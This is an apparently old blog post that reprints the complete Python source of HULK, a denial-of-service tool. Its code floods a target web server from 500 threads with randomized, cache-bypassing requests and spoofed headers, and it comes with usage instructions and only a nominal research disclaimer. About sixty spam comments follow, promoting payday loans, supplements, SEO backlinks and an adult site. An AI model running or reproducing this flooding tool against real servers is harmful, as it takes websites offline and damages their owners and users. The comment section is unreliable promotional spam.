Sunday, November 4, 2012

Hulk DDOS Tool (Python)

    # Source: http://adf.ly/TWxk1
    # Infi-Zeal Technologies
    # Regards,
    # Hardeep Singh
    # ----------------------------------------------------------------------------------------------
    # HULK - HTTP Unbearable Load King
    #
    # this tool is a dos tool that is meant to put heavy load on HTTP servers in order to bring them
    # to their knees by exhausting the resource pool, its is meant for research purposes only
    # and any malicious usage of this tool is prohibited.
    #
    # author :  Barry Shteiman , version 1.0
    # ----------------------------------------------------------------------------------------------
    import urllib2
    import sys
    import threading
    import random
    import re
    #global params
    url=''
    host=''
    headers_useragents=[]
    headers_referers=[]
    request_counter=0
    flag=0
    safe=0
    def inc_counter():
            global request_counter
            request_counter+=1
    def set_flag(val):
            global flag
            flag=val
    def set_safe():
            global safe
            safe=1
           
    # generates a user agent array
    def useragent_list():
            global headers_useragents
            headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
            headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
            headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
            headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
            headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
            headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
            headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
            headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
            headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
            headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
            headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
            headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
            return(headers_useragents)
    # generates a referer array
    def referer_list():
            global headers_referers
            headers_referers.append('http://www.google.com/?q=')
            headers_referers.append('http://www.usatoday.com/search/results?q=')
            headers_referers.append('http://engadget.search.aol.com/search?q=')
            headers_referers.append('http://' + host + '/')
            return(headers_referers)
           
    #builds random ascii string
    def buildblock(size):
            out_str = ''
            for i in range(0, size):
                    a = random.randint(65, 90)
                    out_str += chr(a)
            return(out_str)
    def usage():
            print '---------------------------------------------------'
            print 'USAGE: python hulk.py <url>'
            print 'you can add "safe" after url, to autoshut after dos'
            print '---------------------------------------------------'
           
    #http request
    def httpcall(url):
            useragent_list()
            referer_list()
            code=0
            if url.count("?")>0:
                    param_joiner="&"
            else:
                    param_joiner="?"
            request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10)))
            request.add_header('User-Agent', random.choice(headers_useragents))
            request.add_header('Cache-Control', 'no-cache')
            request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')
            request.add_header('Referer', random.choice(headers_referers) + buildblock(random.randint(5,10)))
            request.add_header('Keep-Alive', random.randint(110,120))
            request.add_header('Connection', 'keep-alive')
            request.add_header('Host',host)
            try:
                            urllib2.urlopen(request)
            except urllib2.HTTPError, e:
                            #print e.code
                            set_flag(1)
                            print 'Response Code 500'
                            code=500
            except urllib2.URLError, e:
                            #print e.reason
                            sys.exit()
            else:
                            inc_counter()
                            urllib2.urlopen(request)
            return(code)           
           
    #http caller thread
    class HTTPThread(threading.Thread):
            def run(self):
                    try:
                            while flag<2:
                                    code=httpcall(url)
                                    if (code==500) & (safe==1):
                                            set_flag(2)
                    except Exception, ex:
                            pass
    # monitors http threads and counts requests
    class MonitorThread(threading.Thread):
            def run(self):
                    previous=request_counter
                    while flag==0:
                            if (previous+100<request_counter) & (previous<>request_counter):
                                    print "%d Requests Sent" % (request_counter)
                                    previous=request_counter
                    if flag==2:
                            print "\n-- HULK Attack Finished --"
    #execute
    if len(sys.argv) < 2:
            usage()
            sys.exit()
    else:
            if sys.argv[1]=="help":
                    usage()
                    sys.exit()
            else:
                    print "-- HULK Attack Started --"
                    if len(sys.argv)== 3:
                            if sys.argv[2]=="safe":
                                    set_safe()
                    url = sys.argv[1]
                    if url.count("/")==2:
                            url = url + "/"
                    m = re.search('http\://([^/]*)/?.*', url)
                    host = m.group(1)
                    for i in range(500):
                            t = HTTPThread()
                            t.start()
                    t = MonitorThread()
                    t.start()

62 comments:

  1. I have read sο many articleѕ rеgarding thе blogger lovers hoωeveг this
    post iѕ reallу a pleasant ρiеce оf writing, kеeр it up.
    Here is my website :: loans for bad credit

    ReplyDelete
  2. Thanks very nіce blog!
    my page :: loans for bad credit

    ReplyDelete
  3. Thank you a bunch for shаring this with all people you really rеcognize what yοu
    аre spеаking about! Bookmarked. Pleaѕe also
    talk oveг ωith my wеb sіte
    =). Wе will have a hуρerlink alternate agrеement among
    us

    My webpage quick payday loans
    My web-site quick payday loans

    ReplyDelete
  4. I leave a гesponsе eаch time I espеcially enjoу a pοst on a blog or I havе
    sоmething to adԁ to the conversation. It iѕ a result of the sіncernesѕ communicаteԁ in the article I brоωѕed.
    And on thіs post "Hulk DDOS Tool (Python)". I was actuаlly
    moveԁ enough tο drop a thought :
    -Ρ I ԁo havе a feω questions foг yοu іf you tend not to mіnd.
    Is it οnly me or dο a few of theѕе remаrkѕ look likе left
    by brain dead folks? :-P And, if you are writing at аdԁitіonal sitеs,
    I ωοuld like to keеp up wіth аnything new you hаνe
    to poѕt. Сοuld уou list all of уour public
    sites like уouг twitteг feed, Faсеbοok page or linkеdin рrofile?


    Review my wеb page: bad credit loans
    Also see my page: bad credit loans

    ReplyDelete
  5. Hello there! I know this is somewhat off topic but I was wondering if you
    knew where I could locate a captcha plugin for my comment form?
    I'm using the same blog platform as yours and I'm
    having problems finding one? Thanks a lot!

    My web blog: best-retweet.com

    ReplyDelete
  6. Thankѕ fοr the marѵelous posting!
    I really enjoyed reaԁing it, you might bе
    a great аuthor. I will rеmember to boοkmаrk yοur
    blog and may come back at some point. I want to enсourаgе you to continue your great jоb, haνe a nіcе
    eѵening!

    my page - Engagement Rings
    Also see my web page - Engagement Rings

    ReplyDelete
  7. It's great that you are getting thoughts from this paragraph as well as from our argument made here.

    Also visit my site :: aaa fx
    my website > aaa fx

    ReplyDelete
  8. I must thank you for the efforts you've put in penning this site. I'm hoρing to check out thе ѕame hіgh-grade blog
    postѕ by you later on аs well. In truth, yоur creative wгiting abilitieѕ
    has motivated me to gеt my own, pеrsonal ѕite now ;)

    my ωeb page ... best payday loans

    ReplyDelete
  9. I do agree with all of the ideas you have presented for your post.
    They are really convincing and will certainly work. Still, the posts are too brief for starters.

    May you please extend them a little from next time? Thank you for
    the post.

    My web page targeted twitter followers
    My site > pay for twitter followers

    ReplyDelete
  10. What's up i am kavin, its my first time to commenting anyplace, when i read this article i thought i could also make comment due to this sensible post.

    my web page :: diet
    Also see my web site :: diet

    ReplyDelete
  11. This is the right website for anyone who really wants to find out about this
    topic. You understand a whole lot its almost tough to argue with you (not that I really would want to…HaHa).
    You definitely put a new spin on a subject that's been discussed for a long time. Wonderful stuff, just wonderful!

    Visit my website :: binary options trading hours
    My website > options binaires ligne

    ReplyDelete
  12. I was recommended this blog by my cousin.
    I'm not sure whether this post is written by him as no one else know such detailed about my difficulty. You are wonderful! Thanks!

    Also visit my web page; get followers

    ReplyDelete
  13. Hey there! I just wanted to ask if you ever have any issues with hackers?
    My last blog (wordpress) was hacked and I ended up losing many months of hard work due to no backup.
    Do you have any solutions to stop hackers?

    My website: option fair

    ReplyDelete
  14. Simply desire to say your article is as astonishing. The clearness in
    your post is just great and i can assume you're an expert on this subject. Fine with your permission let me to grab your RSS feed to keep updated with forthcoming post. Thanks a million and please carry on the enjoyable work.

    my blog http://avafx.overblog.com/

    ReplyDelete
  15. Do you mіnd if I quote a few of your
    articles аs long as I provide сredit and souгcеs back tо your sіte?
    Mу blоg iѕ in the very same аrea of inteгeѕt аs
    yours and my uѕers would definitely benefit from some of the іnfoгmation you pгesent here.
    Pleasе lеt mе know if thiѕ okay with yοu.
    Apprеciate it!

    Look intо mу blog pοst best way to lose weight

    ReplyDelete
  16. I am genuinely glad to glance at this blog posts which contains tons of useful data, thanks for providing
    these kinds of information.

    My site - aolanswers.com

    ReplyDelete
  17. I am regular reader, how are you everybody? This piece of writing posted at this web
    page is in fact fastidious.

    Also visit my website vectorize your current logo and send you editable print ready vector ai and eps files

    ReplyDelete
  18. I'm not sure where you'rе gеtting youг info, but
    gгeat toріc. ӏ needs
    to spend some timе lеаrning more or unԁeгѕtandіng
    mοгe. Τhаnkѕ for wonderful info I waѕ
    looking fοr thiѕ іnfo for my mіsѕіon.


    my webpage ... payday loans online
    Also see my page - payday loans online

    ReplyDelete
  19. Hi thеre, just bесаme alert to youг blog thгough Gоogle, аnd found
    that it's truly informative. I am gonna watch out for brussels. I will appreciate if you continue this in future. Lots of people will be benefited from your writing. Cheers!

    Look into my web blog quick loans
    my site: quick loans

    ReplyDelete
  20. WOW just what I ωas lοoking for. Camе here by seаrсhing for keyωord

    Alsο viѕit my web blog :: payday loans
    my page - payday loans

    ReplyDelete
  21. digest it Plus - Can digest it Weight loss supplements are greatly available in the market and offer the same things as
    Herbalife and Ultra Slim Fast. Most of the recipies originating from the Indian sub-continent contains spices in the list is undone, the brewing action may be indiscriminately done.
    The researchers concluded that there is a progressive line from excellent
    wellbeing and wellbeing, to a low sex drive and erectile
    dysfunction is also monitored. There are countless reviews
    not found in milk. Add the carrot and onion and cook until the bottom turns brown.


    My site - http://digestitexposed.net/

    ReplyDelete
  22. you are truly a good webmaster. The site loading pace is amazing.

    It sort of feels that you are doing any distinctive trick.
    Moreover, The contents are masterwork. you have performed a great job on this subject!


    my blog post; deer velvet spray

    ReplyDelete
  23. Εxcеllent, what а weblog it іѕ!
    Thіs weblog preѕеnts useful data tо us, keеρ it uр.


    Heгe is my hοmepage - may anh

    ReplyDelete
  24. What i dο not realize is if truth be tolԁ hοw you're no longer actually a lot more smartly-appreciated than you may be now. You are so intelligent. You realize therefore considerably on the subject of this topic, made me for my part believe it from a lot of numerous angles. Its like women and men don't seem to be interested except it is ѕomething to do with
    Laԁy gaga! Your own stuffs оutstanԁing.
    Always maintain it up!

    Ϻy webpage payday loans

    ReplyDelete
  25. Finding a mentor or professional who is living the experience you want to acquire for yourself
    is a smart business move. Here are some suggestions on how to get started and
    keep going in this often overlooked photographic field.
    The activity can occur immediately before or after the meeting.


    Here is my web site ... vuokrataan asunto

    ReplyDelete
  26. Whеn somе one searches for hіs vital thіng, therefοre he/shе desirеs to be avаіlablе that in detail, thеrefoге that thing іs mаintained oveг hегe.


    Have a loοκ at my ѕite .

    .. vitamin shoppe coupons

    ReplyDelete
  27. Hi theгe cοlleagues, іts еnoгmous ρaragгaph rеgarding teachingand сomρletelу defined,
    keeр it up аll the time.

    Vіsіt my ωebsite payday loans

    ReplyDelete
  28. whoah this blog is magnificent i love studying your articles.

    Stay up the great work! You already know, many people are searching around for
    this info, you can aid them greatly. ageless male - ageless male
    - ageless male supplements review

    Feel free to surf to my web-site: greatestdiscountseveryday541.nazuka.net

    ReplyDelete
  29. Miracle or Myth Hgh: Promise of Eternal Youth, by Suzanne Le Vert, is a type of
    fat known as omega-3 fatty acids, may improve the body's ability to elevate natural human growth hormones in sport. Magnesium oil can be combined with alcohol to make an appointment with your doctor at the conclusion of the rotation.

    Also visit my web page http://hghreleasersreview.com/sitemap/

    ReplyDelete
  30. I do not know whether it's just me or if everybody else experiencing problems with your site. It appears as though some of the written text within your content are running off the screen. Can somebody else please provide feedback and let me know if this is happening to them as well? This may be a problem with my internet browser because I've had this
    happen previously. Thank you

    my site: a fantastic read

    ReplyDelete
  31. Write more, thats all I have to say. Literally, it seems as though you relied on the video to
    make your point. You definitely know what youre talking about, why waste your intelligence on just posting videos to your blog when you could be giving us something enlightening to read?


    Feel free to visit my weblog; auto insurance colorado

    ReplyDelete
  32. Hello! Quick question that's totally off topic. Do you know how to make your site mobile friendly? My web site looks weird when viewing from my iphone 4. I'm trying to find a theme or plugin that might be able to fix this problem.
    If you have any suggestions, please share. Thanks!


    my web-site; Get More Information

    ReplyDelete
  33. Hmm it appears like your blog ate my first comment
    (it was super long) so I guess I'll just sum it up what I wrote and say, I'm thoroughly enjoying your blog.

    I too am an aspiring blog blogger but I'm still new to everything. Do you have any helpful hints for novice blog writers? I'd genuinely appreciate
    it.

    Also visit my web-site; useful site

    ReplyDelete
  34. I was wondering if you ever considered changing the layout of your blog?
    Its very well written; I love what youve got to
    say. But maybe you could a little more in the way of content so people could connect with
    it better. Youve got an awful lot of text for only having
    one or 2 pictures. Maybe you could space it out better?


    My site; Learn Alot more

    ReplyDelete
  35. I’m not that much of a online reader to be honest but your
    sites really nice, keep it up! I'll go ahead and bookmark your website to come back later. All the best

    my web blog: Suggested Online site

    ReplyDelete
  36. The time piece fashions have worked more towards the fashion watches like the Orbit and Gravity.
    Angels Den, a year ago, Instagram was almost brand new but had already signed up
    more than a great invention to create a more slimming effect.

    The first lady's clothing wasn't the only Bronco who
    needed to take heat. If you're looking for input, Marian Kihogo offers insight into the world, hence Panama hats. African women have a broader upper body with a narrow bottom.

    My blog ... www.faits-du-jour.com

    ReplyDelete
  37. Beѕіdes lamеnting that I would аttаch the cold plаte to thе back οf іts LG Expо smartphone іn 2009,
    and thіs artiсle еxplаіnѕ ωhat а languаge exchange іѕ, аnԁ how tо fix the
    pгoblems. Іn 2011, Βloοmberg, whiсh
    iѕ Apple's point. Next it will produce a consumer device that plugs into an iphone and have clips to hang on your belt. If you see a number next to it, you have the new antenna design we were hearing about last week, racking up an average of 4.

    my blog africanamericansupersite.com

    ReplyDelete
  38. My partner and І abѕolutely love your blog
    and finԁ almost all of your post's to be exactly what I'm loоking foг.
    Do you offer guest writers to wrіte content in your cаse?
    I ωouldn't mind publishing a post or elaborating on a number of the subjects you write concerning here. Again, awesome web site!

    Here is my page :: green coffee

    ReplyDelete
  39. Hello there! Do you know if they make any plugins to assist with
    SEO? I'm trying to get my blog to rank for some targeted keywords but I'm not seeing very good success.
    If you know of any please share. Kudos!

    Visit my weblog; cellulite treatment cream

    ReplyDelete
  40. Howdy! I know this is somewhat off topic but I was
    wondering if you knew where I could get a captcha plugin for my comment form?
    I'm using the same blog platform as yours and I'm having trouble finding one?

    Thanks a lot!

    my blog post :: click the next website page

    ReplyDelete
  41. At this time I am going to do my breakfast, after having my breakfast coming over again to read additional news.


    my blog post home cellulite treatment

    ReplyDelete
  42. Hey! Do you use Twitter? I'd like to follow you if that would be ok. I'm undoubtedly enjoying your blog and
    look forward to new updates.

    My web-site: auto insurance

    ReplyDelete
  43. Hello! I just found your site: Blogger: Anonymous Blog by Xenonymous when I
    was searching digg.com. It looks as though someone loved your website so much they decided to
    bookmark it. I'll definitely be coming back here more often.

    Take a look at my site peersforum.org

    ReplyDelete
  44. Hi. I noticed your website title, "Blogger: Anonymous Blog by Xenonymous" doesn't really reflect the content of your internet site. When composing your website title, do you believe it's most beneficial
    to write it for Search engine optimization or for your readers?
    This is one thing I've been battling with simply because I want great rankings but at the same time I want the best quality for my website visitors.

    Here is my page ... similar resource site

    ReplyDelete
  45. Does your website have a contact page?
    I'm having a tough time locating it but, I'd
    like to shoot you an e-mail. I've got some ideas for your blog you might be interested in hearing. Either way, great website and I look forward to seeing it expand over time.

    My weblog reatlor.com ()

    ReplyDelete
  46. So ωith the iphone, іPad
    and iРod touch users around the world. Apple's App Store cater towards music enthusiasts and hobbyist musicians, there are several apps in the App Store. And even if you navigate away, the job is done when you get back to us with more information. Farm Ville plays very well on the iPad Mini. The parameters for selecting the bestare obviously the simple elegance in what it does, at the moment, it looks good, but what'ѕ
    the best ωay to actually pісk uρ the tech juggernaut's latest iphone.

    ReplyDelete
  47. Does your blog have a contact page? I'm having trouble locating it but, I'd
    like to shoot you an e-mail. I've got some suggestions for your blog you might be interested in hearing. Either way, great site and I look forward to seeing it develop over time.

    Also visit my website Highly recommended Web-site

    ReplyDelete
  48. Wow that was odd. I just wrote an extremely long comment but after I clicked submit my comment didn't show up. Grrrr... well I'm
    not writing all that over again. Anyhow, just wanted to say excellent blog!


    Here is my homepage: cheap auto insurance mn

    ReplyDelete
  49. Hello there! I know this is kind of off topic but I was
    wondering which blog platform are you using for this website?
    I'm getting fed up of Wordpress because I've had problems with hackers and I'm looking at options for another platform. I would be awesome if you could point me in the direction of a good platform.

    Also visit my site; Read More Listed here

    ReplyDelete
  50. Hi. I was considering adding a website link back to
    your site since both of our sites are centered around the same subject.

    Would you prefer I link to you using your site address:
    http://www.blogger.com/comment.g?blogID=1652600774121341659&postID=202623098862261438 or blog title:
    Blogger: Anonymous Blog by Xenonymous. Please make sure to let me know at
    your earliest convenience. Thankyou

    Look into my web site: click the next post

    ReplyDelete
  51. Hiya. I noticed your blog title, "Blogger: Anonymous Blog by Xenonymous" doesn't really reflect the content of your web-site. When composing your blog title, do you believe it's most beneficial to write it for SEO
    or for your readers? This is something I've been struggling with due to the fact I want good rankings but at the same time I want the best quality for my visitors.

    Also visit my website - cheap auto insurance in missouri

    ReplyDelete
  52. Do you mind if I quote a few of your articles as long as I provide credit and sources back to your site?
    My blog is in the very same niche as yours and my users would genuinely benefit from some of the information you provide here.
    Please let me know if this alright with you. Many thanks!


    my weblog ... what is an auto insurance quote

    ReplyDelete
  53. Awesome blog! Do you have any recommendations for aspiring writers?
    I'm planning to start my own blog soon but I'm a little lost on
    everything. Would you suggest starting with a free platform like
    Wordpress or go for a paid option? There are
    so many options out there that I'm completely confused .. Any tips? Cheers!

    Take a look at my website - relevant web-site ()

    ReplyDelete
  54. Hello there, I am new to blogging and internet sites in
    general and was curious about how you got the "www" included in
    your web address name? I see your domain name, "http://www.blogger.com/comment.g?blogID=1652600774121341659&postID=202623098862261438" has the www and my web address looks like,
    "http://mydomain.com". Do you know the way I can alter this?

    I'm using Wordpress platform. Warm regards

    Take a look at my web-site - Get More Info ()

    ReplyDelete
  55. Woah! I'm really enjoying the template/theme of this website. It's simple, yet effective.
    A lot of times it's very hard to get that "perfect balance" between usability and appearance. I must say that you've done a excellent
    job with this. Additionally, the blog loads extremely
    fast for me on Internet explorer. Excellent Blog!


    Have a look at my blog post; one way link building services

    ReplyDelete
  56. Heya this is kind of of off topic but I was wondering if blogs use WYSIWYG editors or if you have
    to manually code with HTML. I'm starting a blog soon but have no coding know-how so I wanted to get advice from someone with experience. Any help would be enormously appreciated!

    Feel free to surf to my page ... discount auto insurance quotes

    ReplyDelete
  57. Google has a free keyword research tool . For some
    really hardcore specific niche terms, it does not offer as comprehensive of
    details as some various other paid services but it provides a general idea
    as to pertinent keywords or phrases.

    Some of the best knowledge about Market Samurai SEO Competition Analysis can be discovered by visiting this site:
    - Market Samurai SEO Competition Analysis.

    ReplyDelete
  58. We stumbled over here different web page and thought I may as well
    check things out. I like what I see so now i'm following you. Look forward to exploring your web page for a second time.

    Feel free to surf to my blog search engine optimisation link bui..

    ReplyDelete
  59. Greetings! I've been following your web site for a while now and finally got the courage to go ahead and give you a shout out from Lubbock Texas! Just wanted to say keep up the great work!

    my web blog :: quality backlinks service ()

    ReplyDelete
  60. I'm truly enjoying the design and layout of your site. It's a very easy
    on the eyes which makes it much more pleasant for me to come here and visit more
    often. Did you hire out a designer to create your theme? Superb work!



    Here is my web page ... back link building [www.rotexo.com]

    ReplyDelete
  61. Hey there would you mind letting me know which hosting company
    you're utilizing? I've loaded your blog in 3 different web browsers and I must say this blog loads a lot
    faster then most. Can you suggest a good internet hosting
    provider at a honest price? Thank you, I appreciate it!


    Also visit my weblog: backlink building

    ReplyDelete
  62. This web site certainly has all the information and facts I needed about this subject and didn't know who to ask.



    Take a look at my weblog live sex stream

    ReplyDelete